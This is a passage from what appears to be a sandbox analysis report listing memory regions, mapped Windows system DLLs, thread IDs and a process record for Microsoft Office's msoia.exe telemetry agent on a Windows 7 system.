filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2434 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2435 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2436 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2437 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2438 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2439 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2440 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2441 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2442 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2502 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 2503 start_va = 0x340000 end_va = 0x340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 2504 start_va = 0x350000 end_va = 0x351fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 2505 start_va = 0xd40000 end_va = 0xd47fff entry_point = 0xd40000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2506 start_va = 0xd50000 end_va = 0xd51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 2507 start_va = 0xd60000 end_va = 0xd63fff entry_point = 0xd60000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2508 start_va = 0xd80000 end_va = 0xd83fff entry_point = 0xd80000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2509 start_va = 0xd90000 end_va = 0xd90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 2510 start_va = 0xda0000 end_va = 0xda0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 2511 start_va = 0x1130000 end_va = 0x11effff entry_point = 0x1130000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2512 start_va = 0x1430000 end_va = 0x152ffff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 2513 start_va = 0x15b0000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 2514 start_va = 0x16b0000 end_va = 0x17affff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 2515 start_va = 0x1870000 end_va = 0x196ffff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 2516 start_va = 0x19d0000 end_va = 0x1acffff entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 2517 start_va = 0x1bc0000 end_va = 0x1bcffff entry_point = 0x0 region_type = private name = "private_0x0000000001bc0000" filename = "" Region: id = 2518 start_va = 0x1c10000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c10000" filename = "" Region: id = 2519 start_va = 0x1c50000 end_va = 0x1d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 2520 start_va = 0x1d50000 end_va = 0x2092fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d50000" filename = "" Region: id = 2521 start_va = 0x2100000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2522 start_va = 0x2200000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 2523 start_va = 0x22b0000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 2524 start_va = 0x2420000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2525 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2526 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2527 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2528 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2529 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2530 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2531 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2532 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2533 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2534 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2535 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2536 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2537 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2538 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2539 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2540 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2541 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2542 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2543 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2544 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2545 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2546 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2547 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2548 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2549 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2550 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2551 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2552 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2553 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2554 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2555 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2556 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2557 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2558 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2559 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2560 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2561 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2774 start_va = 0xdb0000 end_va = 0xdb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 2775 start_va = 0xdd0000 end_va = 0xdd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 2776 start_va = 0x2650000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 2777 start_va = 0x2850000 end_va = 0x294ffff entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 2778 start_va = 0x2950000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 2779 start_va = 0x2a50000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 2780 start_va = 0x3010000 end_va = 0x310ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 2781 start_va = 0x3110000 end_va = 0x350ffff entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 2782 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2783 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2784 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2785 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2786 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2787 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2788 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2789 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2790 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2791 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2792 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2793 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2794 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2795 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2796 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2797 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2798 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2799 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2800 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2801 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2802 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2803 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2804 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Thread: id = 144 os_tid = 0x808 Thread: id = 200 os_tid = 0x3f4 Thread: id = 202 os_tid = 0x8c8 Thread: id = 204 os_tid = 0x524 Thread: id = 205 os_tid = 0xa84 Thread: id = 208 os_tid = 0x9c8 Thread: id = 210 os_tid = 0xa7c Thread: id = 211 os_tid = 0x9cc Thread: id = 216 os_tid = 0xa70 Thread: id = 217 os_tid = 0xa74 Thread: id = 218 os_tid = 0x930 Thread: id = 220 os_tid = 0x98c Thread: id = 227 os_tid = 0x35c Thread: id = 228 os_tid = 0xafc Thread: id = 249 os_tid = 0xbb4 Thread: id = 251 os_tid = 0xa44 Process: id = "20" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x7927e000" os_pid = "0xa24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x874" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1832 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1833 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1834 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1835 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1836 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1837 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1838 start_va = 0x13ff60000 end_va = 0x1402a1fff entry_point = 0x13ff60000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 1839 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1840 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1841 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1842 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1854 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1855 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1856 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1911 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1912 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1913 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1914 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1915 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1916 start_va = 0x180000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1917 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1918 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 1919 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 1920 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1921 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1922 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1923 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1924 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 1925 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 1926 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1927 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1928 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1929 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1930 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1931 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = 